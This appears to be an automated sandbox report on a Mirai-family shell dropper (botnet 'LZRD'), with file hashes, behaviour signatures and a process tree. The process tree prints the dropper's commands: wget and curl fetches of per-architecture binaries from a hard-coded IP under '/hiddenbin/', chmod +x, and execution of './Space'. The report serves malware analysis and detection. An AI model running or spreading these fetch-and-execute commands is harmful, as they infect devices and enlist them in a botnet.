Analysis

  • max time kernel
    147s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25-12-2024 07:52

General

  • Target

    1.sh

  • Size

    2KB

  • MD5

    f4851a3204539048964a4c54ae3802a3

  • SHA1

    0c8507b985f3ae1ae758b5954cbe932419109bdd

  • SHA256

    1d3098bddc2fba5485bb668b5da435ac0d740f8ec7b80d4f1a87e2f43a22ab91

  • SHA512

    03f75f8f44c3259293734a04aa854fb1057172ebc51ee5277ecc63f2b5ba894d6c2163cf48467e8003b0e979ad613bfe6bf1c2be192fd5d1c92627592a5ad6a3

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 6 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Writes file to tmp directory
    PID:719
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:723
    • /usr/bin/wget
      wget http://154.216.20.216/hiddenbin/Space.arc
      2⤵
      • Writes file to tmp directory
      PID:728
    • /usr/bin/curl
      curl -O http://154.216.20.216/hiddenbin/Space.arc
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:741
    • /bin/cat
      cat Space.arc
      2⤵
        PID:748
      • /bin/chmod
        chmod +x 1.sh busybox Space Space.arc systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
        2⤵
        • File and Directory Permissions Modification
        PID:749
      • /tmp/Space
        ./Space
        2⤵
        • Executes dropped EXE
        PID:750
      • /usr/bin/wget
        wget http://154.216.20.216/hiddenbin/Space.x86
        2⤵
        • Writes file to tmp directory
        PID:752
      • /usr/bin/curl
        curl -O http://154.216.20.216/hiddenbin/Space.x86
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:753
      • /bin/cat
        cat Space.x86
        2⤵
          PID:754
        • /bin/chmod
          chmod +x 1.sh busybox Space Space.arc Space.x86 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
          2⤵
          • File and Directory Permissions Modification
          PID:755
        • /tmp/Space
          ./Space
          2⤵
          • Executes dropped EXE
          PID:756
        • /usr/bin/wget
          wget http://154.216.20.216/hiddenbin/Space.x86_64
          2⤵
          • Writes file to tmp directory
          PID:758
        • /usr/bin/curl
          curl -O http://154.216.20.216/hiddenbin/Space.x86_64
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:759
        • /bin/cat
          cat Space.x86_64
          2⤵
            PID:760
          • /bin/chmod
            chmod +x 1.sh busybox Space Space.arc Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
            2⤵
            • File and Directory Permissions Modification
            PID:761
          • /tmp/Space
            ./Space
            2⤵
            • Executes dropped EXE
            PID:762
          • /usr/bin/wget
            wget http://154.216.20.216/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:764
          • /usr/bin/curl
            curl -O http://154.216.20.216/hiddenbin/Space.i686
            2⤵
            • Writes file to tmp directory
            PID:768
          • /bin/cat
            cat Space.i686
            2⤵
              PID:774
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
              2⤵
              • File and Directory Permissions Modification
              PID:775
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:777
            • /usr/bin/wget
              wget http://154.216.20.216/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:780
            • /usr/bin/curl
              curl -O http://154.216.20.216/hiddenbin/Space.mips
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:787
            • /bin/cat
              cat Space.mips
              2⤵
              • System Network Configuration Discovery
              PID:796
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:799
            • /usr/bin/wget
              wget http://154.216.20.216/hiddenbin/Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:802
            • /usr/bin/curl
              curl -O http://154.216.20.216/hiddenbin/Space.mips64
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:808
            • /bin/cat
              cat Space.mips64
              2⤵
              • System Network Configuration Discovery
              PID:818
            • /bin/chmod
              chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
              2⤵
              • File and Directory Permissions Modification
              PID:820
            • /tmp/Space
              ./Space
              2⤵
              • Executes dropped EXE
              PID:822
            • /usr/bin/wget
              wget http://154.216.20.216/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:824
            • /usr/bin/curl
              curl -O http://154.216.20.216/hiddenbin/Space.mpsl
              2⤵
              • Writes file to tmp directory
              PID:827
            • /bin/cat
              cat Space.mpsl
              2⤵
                PID:828
              • /bin/chmod
                chmod +x 1.sh busybox Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                2⤵
                • File and Directory Permissions Modification
                PID:829
              • /tmp/Space
                ./Space
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Writes file to system bin folder
                • Reads runtime system information
                PID:830
              • /usr/bin/wget
                wget http://154.216.20.216/hiddenbin/Space.arm
                2⤵
                • Writes file to tmp directory
                PID:866
              • /usr/bin/curl
                curl -O http://154.216.20.216/hiddenbin/Space.arm
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:867
              • /bin/cat
                cat Space.arm
                2⤵
                  PID:868
                • /bin/chmod
                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                  2⤵
                  • File and Directory Permissions Modification
                  PID:869
                • /tmp/Space
                  ./Space
                  2⤵
                  • Executes dropped EXE
                  PID:870
                • /usr/bin/wget
                  wget http://154.216.20.216/hiddenbin/Space.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:872
                • /usr/bin/curl
                  curl -O http://154.216.20.216/hiddenbin/Space.arm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:873
                • /bin/cat
                  cat Space.arm5
                  2⤵
                    PID:874
                  • /bin/chmod
                    chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                    2⤵
                    • File and Directory Permissions Modification
                    PID:875
                  • /tmp/Space
                    ./Space
                    2⤵
                    • Executes dropped EXE
                    PID:876
                  • /usr/bin/wget
                    wget http://154.216.20.216/hiddenbin/Space.arm6
                    2⤵
                    • Writes file to tmp directory
                    PID:878
                  • /usr/bin/curl
                    curl -O http://154.216.20.216/hiddenbin/Space.arm6
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:879
                  • /bin/cat
                    cat Space.arm6
                    2⤵
                      PID:880
                    • /bin/chmod
                      chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                      2⤵
                      • File and Directory Permissions Modification
                      PID:881
                    • /tmp/Space
                      ./Space
                      2⤵
                      • Executes dropped EXE
                      PID:882
                    • /usr/bin/wget
                      wget http://154.216.20.216/hiddenbin/Space.arm7
                      2⤵
                      • Writes file to tmp directory
                      PID:884
                    • /usr/bin/curl
                      curl -O http://154.216.20.216/hiddenbin/Space.arm7
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:885
                    • /bin/cat
                      cat Space.arm7
                      2⤵
                        PID:886
                      • /bin/chmod
                        chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                        2⤵
                        • File and Directory Permissions Modification
                        PID:887
                      • /tmp/Space
                        ./Space
                        2⤵
                        • Executes dropped EXE
                        PID:888
                      • /usr/bin/wget
                        wget http://154.216.20.216/hiddenbin/Space.ppc
                        2⤵
                        • Writes file to tmp directory
                        PID:890
                      • /usr/bin/curl
                        curl -O http://154.216.20.216/hiddenbin/Space.ppc
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:891
                      • /bin/cat
                        cat Space.ppc
                        2⤵
                          PID:892
                        • /bin/chmod
                          chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                          2⤵
                          • File and Directory Permissions Modification
                          PID:893
                        • /tmp/Space
                          ./Space
                          2⤵
                          • Executes dropped EXE
                          PID:894
                        • /usr/bin/wget
                          wget http://154.216.20.216/hiddenbin/Space.sparc
                          2⤵
                            PID:896
                          • /usr/bin/curl
                            curl -O http://154.216.20.216/hiddenbin/Space.sparc
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:897
                          • /bin/cat
                            cat Space.sparc
                            2⤵
                              PID:898
                            • /bin/chmod
                              chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 systemd-private-fb7ff4ecbfb5486dbeaab2061ea1b9c5-systemd-timedated.service-58hpEX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:899
                            • /tmp/Space
                              ./Space
                              2⤵
                              • Executes dropped EXE
                              PID:900
                            • /usr/bin/wget
                              wget http://154.216.20.216/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:901
                            • /usr/bin/curl
                              curl -O http://154.216.20.216/hiddenbin/Space.m68k
                              2⤵
                              • Writes file to tmp directory
                              PID:905
                            • /bin/cat
                              cat Space.m68k
                              2⤵
                                PID:906
                              • /bin/chmod
                                chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:907
                              • /tmp/Space
                                ./Space
                                2⤵
                                • Executes dropped EXE
                                PID:908
                              • /usr/bin/wget
                                wget http://154.216.20.216/hiddenbin/Space.sh4
                                2⤵
                                • Writes file to tmp directory
                                PID:910
                              • /usr/bin/curl
                                curl -O http://154.216.20.216/hiddenbin/Space.sh4
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:911
                              • /bin/cat
                                cat Space.sh4
                                2⤵
                                  PID:912
                                • /bin/chmod
                                  chmod +x 1.sh busybox Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:913
                                • /tmp/Space
                                  ./Space
                                  2⤵
                                  • Executes dropped EXE
                                  PID:914

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                da67a7a6d3b11c7188cdd1bfce41d8e7

                                SHA1

                                b4b1365eb6e4ed53740bd8a9ff4ae1aaef12364a

                                SHA256

                                f0db6dd5f4fdfa71861aabd23456868437732315b06996d032e626f671dde651

                                SHA512

                                a17fc2653174ebdd687ed0dae8282c70eeb68b887a92f3be64006d18d0a1dadc2b611e9f9767e0660ab272883d85af924c94b8898e817373eae3b66402b6e337

                              • /tmp/Space

                                Filesize

                                36KB

                                MD5

                                2a970c08a36bf8f55635f35c36450c39

                                SHA1

                                19178136051ca912cb63f3b660aaff2ad1a0acf2

                                SHA256

                                24e0c293e85e159f78622bfd49323ffeeae27d8714a4763599eca3d9f0db3979

                                SHA512

                                671d7a2cce48f7d3716d53b7c4bd365aeba2972101935aa2b5d5f637a7b888caf0e138db9c52c2a0a4e7359eb9909c04563110bc9db9110c8b649c9b9d63039f

                              • /tmp/Space

                                Filesize

                                37KB

                                MD5

                                ebab2dd119fb4e54698ba8726756a19c

                                SHA1

                                aaf97d14cb0ad2e80794f4a8a9c37fbc182bd9e8

                                SHA256

                                cc0f2a44e7f5839fbb9ef84f0a464b31305090f3219bc92ca41d6fa6e4a67f7d

                                SHA512

                                bdccd5abdb52bed568292cd0fe828ac59db7530c394dc00bfad12a5ed3f60e6a5506b7a2699e88849e7288e2a51d88e993f27ced046772ab4ef7fbc0f4838a80

                              • /tmp/Space

                                Filesize

                                43KB

                                MD5

                                6cab63028ef5fd2bac408f0ab5cf16e5

                                SHA1

                                a984671f085075be3323e58181a19c862f23257b

                                SHA256

                                f385391a7252cd586a0b575d08d535aefa36df27e7ea2dde44a572c5a4bb8182

                                SHA512

                                31f0572bc4fd2d005cecb674ffa5ad47f058bfd09d3894d2c1b83c52a1e16c635a13b221a1e3548695258f8ace42c6e7d1bd83c046529ede891a33497dd4f84c

                              • /tmp/Space

                                Filesize

                                95KB

                                MD5

                                f9e24160f01569f5b8debec8d9e254e2

                                SHA1

                                d91d32945f98a295a3487ff83ad9ca957cf47386

                                SHA256

                                3a696bc5d8316a73d34aab7a9d799fc4030f2572d1ff36bb7b7f2fa61123d331

                                SHA512

                                330c735cf8d0f1695d2257870c8a4405e8eb7183fac84559550c875a76ca2d35b65bec83834ee7f749ef9fc12e19e96897fb2bed89c5be0f996a6bcfba81a13d

                              • /tmp/Space.arc

                                Filesize

                                113KB

                                MD5

                                c6c3f3981d6747a4506fc97b272fb4e6

                                SHA1

                                e29b9ebea53a040f736fe362a4559362003c19fa

                                SHA256

                                dce7622fc110aff0758ddfc01829c68a13faa026fdbca5b037ea222989e5d56b

                                SHA512

                                dfc70bfc84e828f15b0b8dc1e77f44efcc4fdd656133c1f3ec4cc6cea6687b1a490989a718348e52079c2388096107e2b0b56c1cf6083358cd0ce6451ac48844

                              • /tmp/busybox

                                Filesize

                                857KB

                                MD5

                                6ffc46165b5d9726a6607f3ea5305589

                                SHA1

                                ab127220f42e816b413dde0d17031e251a7bc98f

                                SHA256

                                80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c

                                SHA512

                                456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8